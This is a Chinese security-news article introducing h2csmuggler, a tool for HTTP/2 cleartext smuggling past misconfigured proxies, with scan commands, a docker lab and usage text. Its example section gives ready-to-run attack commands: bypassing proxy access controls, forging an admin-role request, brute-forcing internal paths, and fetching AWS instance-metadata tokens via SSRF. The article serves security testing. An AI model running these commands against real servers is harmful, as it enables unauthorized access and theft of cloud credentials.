freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

h2csmuggler:一款隐蔽性极强的HTTP2明文通信工具
Alpha_h4ck 2020-10-26 12:08:51 298889

工具介绍

h2csmuggler是一款隐蔽性极强的HTTP/2明文通信工具,该工具能够使用h2c兼容的后端服务器来建立HTTP/2明文(h2c)通信,并隐藏HTTP流量以通过不安全的边缘服务器proxy_pass配置:

如何测试?

该工具适用于任何一个能够转发h2c更新Header的代理终端节点。因为h2c本身理应只在明文通信信道上执行,在HTTPs服务中进行检测的话一般结果都会报真阳性。

相反,HTTP服务则有可能产生假阳性结果。比如说,启用了h2c的代理可能会直接响应更新Header,而不是将其转发至一个h2c后端。

广大研究人员可以使用--scan-list选项来测试一个或多个Web服务器以寻找受影响的proxy_pass终端节点。建议大家使用一个目录列表来进行目录枚举,比如说下面这个URL文本文件(urls.txt):

https://www.example.com/

https://www.example.com/api/

https://www.example.com/auth/

https://www.example.com/admin/

https://www.example.com/payments/

...omitted for brevity...

下面的命令将使用h2cSmuggler扫描urls.txt,并定义扫描线程数量:

./h2csmuggler.py --scan-list urls.txt --threads 5

或者,也可以直接使用下列命令扫描单个节点:

./h2csmuggler.py -x https://www.example.com/api/ --test

工具利用

当我们识别出了一个受影响节点之后,我们就可以利用它来进行信息传输了。现在,我们可以访问或爆破一台后端服务器的内部终端节点,然后提供自定义的语句或Header。在下面的例子中,我们将演示如何利用h2c的数据隐藏功能来绕过代理拒绝规则,并访问内部/flag终端节点。

工具依赖

该工具唯一的依赖组件就是Python hyper-h2库,安装代码如下:

pip3 install h2

测试环境和Demo

这个测试环境将允许我们在一个受控环境下使用h2cSmuggler进行测试。docer-compose将会模拟三条指向已启用h2c的Golang后端服务器的代理:

TCP port: Description

========  ===========

8000:     HTTP h2c backend

8001:     HAProxy -> h2c backend (Insecure default configuration)

8002:     nginx -> h2c backend  (Insecure custom configuration)

8003:     Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)

我们可以使用下列命令生成证书并与docker-compose环境绑定:

# Generate certs

./configs/generate-certificates.sh

 

# Activate services

docker-compose up

接下来,我们尝试通过HAProxy服务器(端口8001)来访问那些被禁止访问的终端节点:

我们可以使用h2cSmuggler的--test(或-t)选项来确认代理的不安全配置:

现在,我们使用h2cSmuggler来执行一次h2c更新,我们通过代理来传输我们的HTTP/2流量,然后向后端服务器请求访问/flag节点,并绕过代理的访问控制:

工具使用

h2cSmuggler使用了类curl语句来处理请求:

usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]

                      [url]

 

Detect and exploit insecure forwarding of h2c upgrades.

 

positional arguments:

  url

 

optional arguments:

  -h, --help            show this help message and exit

  --scan-list SCAN_LIST

                        list of URLs for scanning

  --threads THREADS     # of threads (for use with --scan-list)

  --upgrade-only        drop HTTP2-Settings from outgoing Connection header

  -x PROXY, --proxy PROXY

                        proxy server to try to bypass

  -i WORDLIST, --wordlist WORDLIST

                        list of paths to bruteforce

  -X REQUEST, --request REQUEST

                        smuggled verb

  -d DATA, --data DATA  smuggled data

  -H HEADER, --header HEADER

                        smuggled headers

  -m MAX_TIME, --max-time MAX_TIME

                        socket timeout in seconds (type: float; default 10)

  -t, --test            test a single proxy server

  -v, --verbose

工具使用样例

1、扫描URL地址列表来识别受影响的终端节点:

./h2csmuggler.py --scan-list urls.txt --threads 5

或者,将数据结果重定向到目标文件:

./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt

2、发送特制的POST请求来绕过边缘服务器并抵达内部节点:

./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

3、使用HTTP/2多路复用爆破内部节点:

/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

4、利用Host Header SSRF,获取令牌:

./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

发送令牌:

./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

5、使用X-Forwarded-For Header实现IP地址欺骗,并访问内部节点仪表盘:

./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

项目地址

h2cSmuggler:【GitHub传送门

# HTTP # http代理
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Alpha_h4ck 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Alpha_h4ck LV.10
好好学习,天天向上
  • 2359 文章数
  • 1023 关注者
Tetragon:一款基于eBPF的运行时环境安全监控工具
2025-01-21
DroneXtract:一款针对无人机的网络安全数字取证工具
2025-01-21
CNAPPgoat:一款针对云环境的安全实践靶场
2025-01-21
文章目录